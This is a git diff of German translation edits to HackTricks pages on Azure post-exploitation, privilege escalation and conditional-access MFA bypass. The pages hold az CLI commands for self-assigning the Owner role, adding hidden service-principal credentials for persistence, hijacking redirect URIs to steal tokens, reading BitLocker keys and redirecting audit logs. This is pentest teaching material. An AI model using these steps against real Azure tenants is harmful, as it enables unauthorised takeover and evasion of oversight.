--name --location az servicebus namespace update --resource-group --name --tags @@ -50,14 +50,14 @@ az servicebus queue update --resource-group --namespace-name ``` ### Aktionen: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) -Ein Angreifer mit Berechtigungen zum Erstellen oder Ändern von Themen (um das Thema zu ändern, benötigen Sie auch die Aktion: `Microsoft.ServiceBus/namespaces/topics/read`) innerhalb eines Azure Service Bus-Namensraums kann dies ausnutzen, um Nachrichten-Workflows zu stören, sensible Daten offenzulegen oder unbefugte Aktionen zu ermöglichen. Mit Befehlen wie az servicebus topic update können sie Konfigurationen manipulieren, wie z.B. das Aktivieren von Partitionierung für Missbrauch der Skalierbarkeit, das Ändern von TTL-Einstellungen, um Nachrichten unangemessen zu behalten oder zu verwerfen, oder das Deaktivieren der Duplikaterkennung, um Kontrollen zu umgehen. Darüber hinaus könnten sie die Themen-Größenbeschränkungen anpassen, den Status ändern, um die Verfügbarkeit zu stören, oder Express-Themen konfigurieren, um vorübergehend abgefangene Nachrichten zu speichern, wodurch das Themenmanagement ein kritischer Fokus für die Minderung nach der Ausnutzung wird. +Ein Angreifer mit Berechtigungen zum Erstellen oder Ändern von Themen (um das Thema zu ändern, benötigen Sie auch die Aktion: `Microsoft.ServiceBus/namespaces/topics/read`) innerhalb eines Azure Service Bus-Namensraums kann dies ausnutzen, um Nachrichten-Workflows zu stören, sensible Daten offenzulegen oder unbefugte Aktionen zu ermöglichen. Mit Befehlen wie az servicebus topic update können sie Konfigurationen manipulieren, wie z.B. das Aktivieren von Partitionierung für Missbrauch der Skalierbarkeit, das Ändern von TTL-Einstellungen, um Nachrichten unangemessen zu behalten oder zu verwerfen, oder das Deaktivieren der Duplikaterkennung, um Kontrollen zu umgehen. Darüber hinaus könnten sie die Themen-Größenlimits anpassen, den Status ändern, um die Verfügbarkeit zu stören, oder Express-Themen konfigurieren, um vorübergehend abgefangene Nachrichten zu speichern, wodurch das Themenmanagement ein kritischer Fokus für die Minderung nach der Ausnutzung wird. ```bash az servicebus topic create --resource-group --namespace-name --name az servicebus topic update --resource-group --namespace-name --name ``` ### Aktionen: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) -Ein Angreifer mit Berechtigungen zum Erstellen oder Ändern von Abonnements (um das Abonnement zu ändern, benötigen Sie auch die Aktion: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) innerhalb eines Azure Service Bus-Themen kann dies ausnutzen, um Nachrichten-Workflows abzufangen, umzuleiten oder zu stören. Mit Befehlen wie az servicebus topic subscription update können sie Konfigurationen manipulieren, wie das Aktivieren von Dead Lettering, um Nachrichten umzuleiten, Nachrichten an unbefugte Endpunkte weiterzuleiten oder TTL- und Sperrdauer zu ändern, um die Zustellung von Nachrichten zu behalten oder zu stören. Darüber hinaus können sie Status- oder maximale Zustellanzahl-Einstellungen ändern, um den Betrieb zu stören oder der Erkennung zu entkommen, was die Kontrolle über Abonnements zu einem kritischen Aspekt von Post-Exploitation-Szenarien macht. +Ein Angreifer mit Berechtigungen zum Erstellen oder Ändern von Abonnements (um das Abonnement zu ändern, benötigen Sie auch die Aktion: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) innerhalb eines Azure Service Bus-Themen kann dies ausnutzen, um Nachrichten-Workflows abzufangen, umzuleiten oder zu stören. Mit Befehlen wie az servicebus topic subscription update können sie Konfigurationen manipulieren, wie das Aktivieren von Dead Lettering, um Nachrichten umzuleiten, Nachrichten an unbefugte Endpunkte weiterzuleiten oder TTL- und Sperrdauer zu ändern, um die Zustellung von Nachrichten zu behalten oder zu stören. Darüber hinaus können sie Status- oder maximale Zustellanzahl-Einstellungen ändern, um den Betrieb zu stören oder der Erkennung zu entgehen, was die Kontrolle über Abonnements zu einem kritischen Aspekt von Post-Exploitation-Szenarien macht. ```bash az servicebus topic subscription create --resource-group --namespace-name --topic-name --name az servicebus topic subscription update --resource-group --namespace-name --topic-name --name diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 7cbde7923..881bc7762 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -42,7 +42,7 @@ az sql elastic-pool update \ ``` ### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" -Mit dieser Berechtigung können Sie die Überwachungseinstellungen auf einem Azure SQL Server ändern oder aktivieren. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, die Auditkonfigurationen zu manipulieren, was potenziell dazu führen kann, dass Spuren verwischt oder Auditprotokolle an einen Ort umgeleitet werden, der unter ihrer Kontrolle steht. Dies kann die Sicherheitsüberwachung behindern oder es ermöglichen, die Aktionen im Auge zu behalten. HINWEIS: Um die Überwachung für einen Azure SQL Server mit Blob Storage zu aktivieren, müssen Sie ein Speicherkonto anhängen, in dem die Auditprotokolle gespeichert werden können. +Mit dieser Berechtigung können Sie die Überwachungseinstellungen auf einem Azure SQL Server ändern oder aktivieren. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, die Auditkonfigurationen zu manipulieren, möglicherweise Spuren zu verwischen oder Auditprotokolle an einen Ort umzuleiten, der unter ihrer Kontrolle steht. Dies kann die Sicherheitsüberwachung behindern oder es ermöglichen, die Aktionen nachverfolgen zu können. HINWEIS: Um die Überwachung für einen Azure SQL Server mit Blob Storage zu aktivieren, müssen Sie ein Speicherkonto anhängen, in dem die Auditprotokolle gespeichert werden können. ```bash az sql server audit-policy update \ --server \ @@ -53,7 +53,7 @@ az sql server audit-policy update \ ``` ### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" -Mit dieser Berechtigung können Sie die Verbindungseinstellungen eines Azure SQL Servers ändern. Diese Fähigkeit kann ausgenutzt werden, um serverseitige Verbindungseinstellungen zu aktivieren oder zu ändern. +Mit dieser Berechtigung können Sie die Verbindungsrichtlinien eines Azure SQL Servers ändern. Diese Fähigkeit kann ausgenutzt werden, um serverseitige Verbindungseinstellungen zu aktivieren oder zu ändern. ```bash az sql server connection-policy update \ --server \ @@ -76,7 +76,7 @@ az sql db export \ ``` ### "Microsoft.Sql/servers/databases/import/action" -Mit dieser Berechtigung können Sie eine Datenbank in einen Azure SQL Server importieren. Ein Angreifer oder autorisierter Benutzer mit dieser Berechtigung kann potenziell bösartige oder manipulierte Datenbanken hochladen. Dies kann dazu führen, dass die Kontrolle über sensible Daten erlangt wird oder dass schädliche Skripte oder Trigger in die importierte Datenbank eingebettet werden. Zusätzlich können Sie sie auf Ihren eigenen Server in Azure importieren. Hinweis: Der Server muss Azure-Dienste und -Ressourcen den Zugriff auf den Server erlauben. +Mit dieser Berechtigung können Sie eine Datenbank in einen Azure SQL Server importieren. Ein Angreifer oder autorisierter Benutzer mit dieser Berechtigung kann potenziell bösartige oder manipulierte Datenbanken hochladen. Dies kann dazu führen, dass Kontrolle über sensible Daten erlangt wird oder schädliche Skripte oder Trigger in die importierte Datenbank eingebettet werden. Zusätzlich können Sie sie auf Ihren eigenen Server in Azure importieren. Hinweis: Der Server muss Azure-Dienste und -Ressourcen den Zugriff auf den Server erlauben. ```bash az sql db import --admin-user \ --admin-password \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md index eb970486f..9f98a3e2f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md @@ -12,7 +12,7 @@ Für weitere Informationen über Table Storage siehe: ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read -Ein Principal mit dieser Berechtigung kann die **Tabellen** innerhalb eines Table Storage **auflisten** und die Informationen **lesen**, die möglicherweise **sensible Informationen** enthalten. +Ein Principal mit dieser Berechtigung kann die Tabellen innerhalb eines Table Storage **auflisten** und die Informationen **lesen**, die **sensible Informationen** enthalten könnten. ```bash # List tables az storage table list --auth-mode login --account-name @@ -26,7 +26,7 @@ az storage entity query \ ``` ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action -Ein Principal mit dieser Berechtigung kann **Einträge in Tabellen schreiben und überschreiben**, was ihm ermöglichen könnte, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige vertrauenswürdige Daten überschreiben, die eine Injektionsanfälligkeit in der verwendeten App ausnutzen könnten). +Ein Principal mit dieser Berechtigung kann **Einträge in Tabellen schreiben und überschreiben**, was ihm ermöglichen könnte, Schaden anzurichten oder sogar Berechtigungen zu eskalieren (z. B. einige vertrauenswürdige Daten überschreiben, die eine Injektionsanfälligkeit in der verwendeten App ausnutzen könnten). - Die Berechtigung `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` erlaubt alle Aktionen. - Die Berechtigung `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` erlaubt das **Hinzufügen** von Einträgen. diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md index 2d2a73e58..9ecdf5261 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md @@ -1,4 +1,4 @@ -# Az - VMs & Network Post Exploitation +# Az - VMs & Netzwerk Post-Exploitation {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Für weitere Informationen zu Azure VMs und Netzwerken siehe die folgende Seite: ### VM-Anwendungs-Pivoting -VM-Anwendungen können mit anderen Abonnements und Mandanten geteilt werden. Wenn eine Anwendung geteilt wird, liegt es wahrscheinlich daran, dass sie verwendet wird. Wenn es dem Angreifer gelingt, die **Anwendung zu kompromittieren und eine mit einem Backdoor versehenen** Version hochzuladen, könnte es möglich sein, dass sie **in einem anderen Mandanten oder Abonnement ausgeführt wird**. +VM-Anwendungen können mit anderen Abonnements und Mandanten geteilt werden. Wenn eine Anwendung geteilt wird, liegt das wahrscheinlich daran, dass sie verwendet wird. Wenn es dem Angreifer gelingt, die **Anwendung zu kompromittieren und eine mit einem Backdoor versehenen** Version hochzuladen, könnte es möglich sein, dass sie **in einem anderen Mandanten oder Abonnement ausgeführt wird**. ### Sensible Informationen in Bildern @@ -40,7 +40,7 @@ az sig image-version list \ ```bash az image list -o table ``` -3. **VM aus Bild-ID erstellen** und nach sensiblen Informationen darin suchen +3. **Erstellen Sie eine VM aus der Bild-ID** und suchen Sie nach sensiblen Informationen darin ```bash # Create VM from image az vm create \ @@ -75,7 +75,7 @@ az vm disk attach \ --vm-name \ --name ``` -4. **Binden** Sie die Festplatte ein und **suchen** Sie nach sensiblen Informationen +4. **Mounten** Sie die Festplatte und **suchen Sie nach sensiblen Informationen** {{#tabs }} {{#tab name="Linux" }} @@ -97,7 +97,7 @@ sudo mount /dev/sdX1 /mnt/mydisk #### **1. Öffnen Sie die Datenträgerverwaltung** 1. Klicken Sie mit der rechten Maustaste auf **Start** und wählen Sie **Datenträgerverwaltung**. -2. Der angeschlossene Datenträger sollte als **Offline** oder **Nicht zugeordnet** angezeigt werden. +2. Der angeschlossene Datenträger sollte als **Offline** oder **Nicht zugewiesen** angezeigt werden. #### **2. Bringen Sie den Datenträger online** @@ -112,7 +112,7 @@ sudo mount /dev/sdX1 /mnt/mydisk #### **4. Erstellen Sie ein neues Volume** -1. Klicken Sie mit der rechten Maustaste auf den nicht zugeordneten Speicherplatz auf dem Datenträger und wählen Sie **Neues einfaches Volume**. +1. Klicken Sie mit der rechten Maustaste auf den nicht zugewiesenen Speicherplatz auf dem Datenträger und wählen Sie **Neues einfaches Volume**. 2. Folgen Sie dem Assistenten, um: - Einen Laufwerksbuchstaben zuzuweisen (z. B. `D:`). - Den Datenträger zu formatieren (wählen Sie NTFS in den meisten Fällen). @@ -121,7 +121,7 @@ sudo mount /dev/sdX1 /mnt/mydisk ### Sensible Informationen in Datenträgern & Snapshots -Es könnte möglich sein, **sensible Informationen in Datenträgern oder sogar in alten Snapshots von Datenträgern** zu finden. +Es könnte möglich sein, **sensible Informationen in Datenträgern oder sogar alten Snapshots von Datenträgern** zu finden. 1. **Snapshots auflisten** ```bash @@ -137,7 +137,7 @@ az disk create \ --source \ --size-gb ``` -3. **Hängen Sie die Festplatte an** eine VM an und suchen Sie nach sensiblen Informationen (siehe den vorherigen Abschnitt, um zu erfahren, wie man das macht) +3. **Hängen Sie die Festplatte an** eine VM an und suchen Sie nach sensiblen Informationen (siehe den vorherigen Abschnitt, um zu erfahren, wie man dies macht) ### Sensible Informationen in VM-Erweiterungen & VM-Anwendungen diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 239fa4caf..fbe19d07e 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -12,14 +12,14 @@ Für weitere Informationen siehe: ### Microsoft.Authorization/roleAssignments/write -Diese Berechtigung ermöglicht es, Rollen an Prinzipien über einen bestimmten Geltungsbereich zuzuweisen, wodurch ein Angreifer Privilegien erhöhen kann, indem er sich selbst eine privilegiertere Rolle zuweist: +Diese Berechtigung ermöglicht es, Rollen an Principals über einen bestimmten Geltungsbereich zuzuweisen, wodurch ein Angreifer seine Berechtigungen erhöhen kann, indem er sich selbst eine privilegiertere Rolle zuweist: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` ### Microsoft.Authorization/roleDefinitions/Write -Diese Berechtigung ermöglicht es, die von einer Rolle gewährten Berechtigungen zu ändern, wodurch ein Angreifer die Privilegien erhöhen kann, indem er einer Rolle, die ihm zugewiesen wurde, weitere Berechtigungen gewährt. +Diese Berechtigung ermöglicht es, die Berechtigungen, die durch eine Rolle gewährt werden, zu ändern, wodurch ein Angreifer die Privilegien erhöhen kann, indem er einer zugewiesenen Rolle weitere Berechtigungen gewährt. Erstellen Sie die Datei `role.json` mit dem folgenden **Inhalt**: ```json @@ -34,13 +34,13 @@ Erstellen Sie die Datei `role.json` mit dem folgenden **Inhalt**: "AssignableScopes": ["/subscriptions/"] } ``` -Dann aktualisieren Sie die Rollenberechtigungen mit der vorherigen Definition, indem Sie aufrufen: +Dann aktualisieren Sie die Rollenberechtigungen mit der vorherigen Definition, indem Sie Folgendes aufrufen: ```bash az role definition update --role-definition role.json ``` ### Microsoft.Authorization/elevateAccess/action -Diese Berechtigung ermöglicht es, Privilegien zu erhöhen und Berechtigungen für beliebige Prinzipale zu Azure-Ressourcen zuzuweisen. Sie soll Entra ID Global Administratoren gegeben werden, damit sie auch Berechtigungen für Azure-Ressourcen verwalten können. +Diese Berechtigung ermöglicht es, Privilegien zu erhöhen und Berechtigungen für jede Entität zu Azure-Ressourcen zuzuweisen. Sie ist dafür gedacht, Entra ID Global Administratoren zugewiesen zu werden, damit sie auch Berechtigungen für Azure-Ressourcen verwalten können. > [!TIP] > Ich denke, der Benutzer muss Global Administrator in Entra ID sein, damit der Erhöhungsaufruf funktioniert. @@ -53,7 +53,7 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -Diese Berechtigung ermöglicht das Hinzufügen von föderierten Anmeldeinformationen zu verwalteten Identitäten. Z. B. Zugriff auf Github Actions in einem Repo für eine verwaltete Identität gewähren. Dann ermöglicht es den **Zugriff auf jede benutzerdefinierte verwaltete Identität**. +Diese Berechtigung ermöglicht das Hinzufügen von föderierten Anmeldeinformationen zu verwalteten Identitäten. Z.B. Zugriff auf Github Actions in einem Repo für eine verwaltete Identität gewähren. Dann ermöglicht es den **Zugriff auf jede benutzerdefinierte verwaltete Identität**. Beispielbefehl, um einer verwalteten Identität Zugriff auf ein Repo in Github zu gewähren: ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index b2f8faef5..0296507cb 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -9,7 +9,7 @@ ### Rolle: Privileged Role Administrator -Diese Rolle enthält die notwendigen granularen Berechtigungen, um Rollen an Prinzipale zuzuweisen und um mehr Berechtigungen an Rollen zu vergeben. Beide Aktionen könnten missbraucht werden, um Privilegien zu eskalieren. +Diese Rolle enthält die notwendigen granularen Berechtigungen, um Rollen an Prinzipale zuzuweisen und um Rollen mehr Berechtigungen zu geben. Beide Aktionen könnten missbraucht werden, um Privilegien zu eskalieren. - Rolle einem Benutzer zuweisen: ```bash @@ -67,7 +67,7 @@ az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -Durch das Hinzufügen als Eigentümer kann ein Angreifer die Anwendung manipulieren, einschließlich Anmeldeinformationen und Berechtigungen. +Indem sich ein Angreifer als Eigentümer hinzufügt, kann er die Anwendung manipulieren, einschließlich Anmeldeinformationen und Berechtigungen. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,7 +77,7 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Ein Angreifer kann eine Umleitungs-URI zu Anwendungen hinzufügen, die von Benutzern des Mandanten verwendet werden, und dann Login-URLs mit der neuen Umleitungs-URL teilen, um deren Tokens zu stehlen. Beachten Sie, dass die Authentifizierung automatisch erfolgt, wenn der Benutzer bereits in der Anwendung angemeldet ist, ohne dass der Benutzer etwas akzeptieren muss. +Ein Angreifer kann eine Umleitungs-URI zu Anwendungen hinzufügen, die von Benutzern des Mandanten verwendet werden, und dann Login-URLs teilen, die die neue Umleitungs-URL verwenden, um ihre Tokens zu stehlen. Beachten Sie, dass die Authentifizierung automatisch erfolgt, wenn der Benutzer bereits in der Anwendung angemeldet war, ohne dass der Benutzer etwas akzeptieren muss. Es ist auch möglich, die Berechtigungen, die die Anwendung anfordert, zu ändern, um mehr Berechtigungen zu erhalten, aber in diesem Fall muss der Benutzer erneut die Aufforderung akzeptieren, die nach allen Berechtigungen fragt. ```bash @@ -90,13 +90,13 @@ az ad app update --id --web-redirect-uris "https://original.com/callbac ### `microsoft.directory/servicePrincipals/credentials/update` -Dies ermöglicht einem Angreifer, Anmeldeinformationen zu bestehenden Dienstprinzipalen hinzuzufügen. Wenn der Dienstprincipal erhöhte Berechtigungen hat, kann der Angreifer diese Berechtigungen übernehmen. +Dies ermöglicht es einem Angreifer, Anmeldeinformationen zu bestehenden Dienstprinzipalen hinzuzufügen. Wenn der Dienstprincipal erhöhte Berechtigungen hat, kann der Angreifer diese Berechtigungen übernehmen. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] > Das neu generierte Passwort wird nicht in der Webkonsole angezeigt, daher könnte dies eine heimliche Möglichkeit sein, um Persistenz über einen Dienstprinzipal aufrechtzuerhalten.\ -> Über die API können sie gefunden werden mit: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> Über die API können sie mit folgendem Befehl gefunden werden: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` Wenn Sie den Fehler `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` erhalten, liegt das daran, dass **es nicht möglich ist, die Eigenschaft passwordCredentials** des SP zu ändern und Sie sie zuerst entsperren müssen. Dafür benötigen Sie eine Berechtigung (`microsoft.directory/applications/allProperties/update`), die es Ihnen ermöglicht, Folgendes auszuführen: ```bash @@ -104,7 +104,7 @@ az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --append ``` @@ -128,13 +128,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Nachdem ich einen neuen Eigentümer hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt wurde, auch wenn es die Methode ist, die Sie verwenden müssen, um den Eigentümer zu löschen. Daher **können Sie heutzutage keine Eigentümer entfernen**. +> Nachdem ich einen neuen Eigentümer hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt wird, auch wenn es die Methode ist, die Sie verwenden müssen, um den Eigentümer zu löschen. Daher **können Sie heutzutage keine Eigentümer entfernen**. ### `microsoft.directory/servicePrincipals/disable` und `enable` -Diese Berechtigungen ermöglichen es, Dienstprinzipale zu deaktivieren und zu aktivieren. Ein Angreifer könnte diese Berechtigung nutzen, um einen Dienstprincipal zu aktivieren, auf den er irgendwie Zugriff erhalten könnte, um Privilegien zu eskalieren. +Diese Berechtigungen ermöglichen es, Dienstprinzipale zu deaktivieren und zu aktivieren. Ein Angreifer könnte diese Berechtigung nutzen, um einen Dienstprinzipal zu aktivieren, auf den er irgendwie Zugriff erhalten könnte, um Privilegien zu eskalieren. -Beachten Sie, dass der Angreifer für diese Technik zusätzliche Berechtigungen benötigt, um den aktivierten Dienstprincipal zu übernehmen. +Beachten Sie, dass der Angreifer für diese Technik zusätzliche Berechtigungen benötigt, um den aktivierten Dienstprinzipal zu übernehmen. ```bash bashCopy code# Disable az ad sp update --id --account-enabled false @@ -144,7 +144,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Diese Berechtigungen ermöglichen das Erstellen und Abrufen von Anmeldeinformationen für die einmalige Anmeldung, die den Zugriff auf Drittanbieteranwendungen ermöglichen könnten. +Diese Berechtigungen ermöglichen das Erstellen und Abrufen von Anmeldeinformationen für die einmalige Anmeldung, die den Zugriff auf Drittanwendungen ermöglichen könnten. ```bash # Generate SSO creds for a user or a group spID="" @@ -178,7 +178,7 @@ az ad group member add --group --member-id ### `microsoft.directory/groups/owners/update` -Diese Berechtigung ermöglicht es, Eigentümer von Gruppen zu werden. Ein Eigentümer einer Gruppe kann die Mitgliedschaft und Einstellungen der Gruppe steuern, was potenziell zu einer Eskalation der Berechtigungen in der Gruppe führen kann. +Diese Berechtigung ermöglicht es, Eigentümer von Gruppen zu werden. Ein Eigentümer einer Gruppe kann die Mitgliedschaft und Einstellungen der Gruppe steuern, was potenziell zu einer Eskalation der Berechtigungen innerhalb der Gruppe führen kann. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id @@ -193,7 +193,7 @@ az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -Diese Berechtigung ermöglicht das Aktualisieren der Mitgliedschaftsregel in einer dynamischen Gruppe. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen aufzunehmen, ohne ausdrücklich hinzugefügt zu werden. +Diese Berechtigung ermöglicht es, die Mitgliedschaftsregel in einer dynamischen Gruppe zu aktualisieren. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen aufzunehmen, ohne ausdrücklich hinzugefügt zu werden. ```bash groupId="" az rest --method PATCH \ @@ -208,7 +208,7 @@ az rest --method PATCH \ ### Dynamische Gruppen Privesc -Es könnte möglich sein, dass Benutzer ihre Berechtigungen eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder dynamischer Gruppen hinzugefügt zu werden. Für weitere Informationen siehe: +Es könnte möglich sein, dass Benutzer ihre Berechtigungen eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder dynamischer Gruppen hinzugefügt zu werden. Weitere Informationen finden Sie unter: {{#ref}} dynamic-groups.md @@ -289,7 +289,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Schlüssel, was einem Angreifer erlauben könnte, Laufwerke zu entschlüsseln und die Vertraulichkeit von Daten zu gefährden. +Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Schlüssel, was einem Angreifer ermöglichen könnte, Laufwerke zu entschlüsseln und die Vertraulichkeit von Daten zu gefährden. ```bash # List recovery keys az rest --method GET \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index f4a2b1114..84927c5b9 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -2,19 +2,19 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen -Azure-Bedingte Zugriffsrichtlinien sind Regeln, die in Microsoft Azure eingerichtet werden, um Zugriffskontrollen für Azure-Dienste und -Anwendungen basierend auf bestimmten **Bedingungen** durchzusetzen. Diese Richtlinien helfen Organisationen, ihre Ressourcen zu sichern, indem sie die richtigen Zugriffskontrollen unter den richtigen Umständen anwenden.\ +Azure-Bedingte Zugriffsrichtlinien sind Regeln, die in Microsoft Azure eingerichtet werden, um Zugriffskontrollen auf Azure-Dienste und -Anwendungen basierend auf bestimmten **Bedingungen** durchzusetzen. Diese Richtlinien helfen Organisationen, ihre Ressourcen zu sichern, indem sie die richtigen Zugriffskontrollen unter den richtigen Umständen anwenden.\ Bedingte Zugriffsrichtlinien **definieren** im Wesentlichen **Wer** auf **Was** von **Wo** und **Wie** zugreifen kann. Hier sind ein paar Beispiele: 1. **Anmelderisiko-Richtlinie**: Diese Richtlinie könnte so eingestellt werden, dass sie eine Multi-Faktor-Authentifizierung (MFA) erfordert, wenn ein Anmelderisiko erkannt wird. Zum Beispiel, wenn das Anmeldeverhalten eines Benutzers im Vergleich zu seinem regulären Muster ungewöhnlich ist, wie z.B. das Anmelden aus einem anderen Land, kann das System zusätzliche Authentifizierung anfordern. -2. **Geräte-Compliance-Richtlinie**: Diese Richtlinie kann den Zugriff auf Azure-Dienste nur auf Geräte beschränken, die den Sicherheitsstandards der Organisation entsprechen. Beispielsweise könnte der Zugriff nur von Geräten erlaubt werden, die über aktuelle Antivirensoftware verfügen oder eine bestimmte Betriebssystemversion ausführen. +2. **Geräte-Compliance-Richtlinie**: Diese Richtlinie kann den Zugriff auf Azure-Dienste nur auf Geräte beschränken, die den Sicherheitsstandards der Organisation entsprechen. Beispielsweise könnte der Zugriff nur von Geräten erlaubt werden, die über aktuelle Antivirensoftware verfügen oder eine bestimmte Version des Betriebssystems ausführen. ## Umgehungen von Bedingten Zugriffsrichtlinien -Es ist möglich, dass eine bedingte Zugriffsrichtlinie **einige Informationen überprüft, die leicht manipuliert werden können, was eine Umgehung der Richtlinie ermöglicht**. Und wenn beispielsweise die Richtlinie MFA konfiguriert hat, kann der Angreifer diese umgehen. +Es ist möglich, dass eine bedingte Zugriffsrichtlinie **einige Informationen überprüft, die leicht manipuliert werden können, was eine Umgehung der Richtlinie ermöglicht**. Und wenn beispielsweise die Richtlinie MFA konfiguriert hat, kann der Angreifer sie umgehen. Bei der Konfiguration einer bedingten Zugriffsrichtlinie ist es erforderlich, die **betroffenen Benutzer** und **Zielressourcen** (wie alle Cloud-Apps) anzugeben. @@ -24,7 +24,7 @@ Es ist auch notwendig, die **Bedingungen** zu konfigurieren, die die Richtlinie - Kann umgangen werden, indem ein VPN oder Proxy verwendet wird, um sich mit einem Land zu verbinden oder sich von einer erlaubten IP-Adresse anzumelden - **Microsoft-Risiken**: Benutzer-Risiko, Anmelderisiko, Insider-Risiko - **Geräteplattformen**: Jedes Gerät oder Auswahl von Android, iOS, Windows Phone, Windows, macOS, Linux -- Wenn „Jedes Gerät“ nicht ausgewählt ist, aber alle anderen Optionen ausgewählt sind, ist es möglich, dies mit einem zufälligen User-Agent zu umgehen, der nicht mit diesen Plattformen verbunden ist +- Wenn „Jedes Gerät“ nicht ausgewählt ist, aber alle anderen Optionen ausgewählt sind, ist es möglich, dies mit einem zufälligen User-Agent, der nicht mit diesen Plattformen verbunden ist, zu umgehen - **Client-Apps**: Optionen sind „Browser“, „Mobile Apps und Desktop-Clients“, „Exchange ActiveSync-Clients“ und „Andere Clients“ - Um die Anmeldung mit einer nicht ausgewählten Option zu umgehen - **Filter für Geräte**: Es ist möglich, eine Regel zu erstellen, die sich auf das verwendete Gerät bezieht @@ -52,39 +52,39 @@ Wenn dies in der bedingten Richtlinie festgelegt ist, könnte ein Angreifer einf ### Cloud-Apps -Es ist möglich, **bedingte Zugriffsrichtlinien zu konfigurieren, um zu blockieren oder zu erzwingen**, zum Beispiel MFA, wenn ein Benutzer versucht, auf eine **spezifische App** zuzugreifen: +Es ist möglich, **bedingte Zugriffsrichtlinien zu konfigurieren, 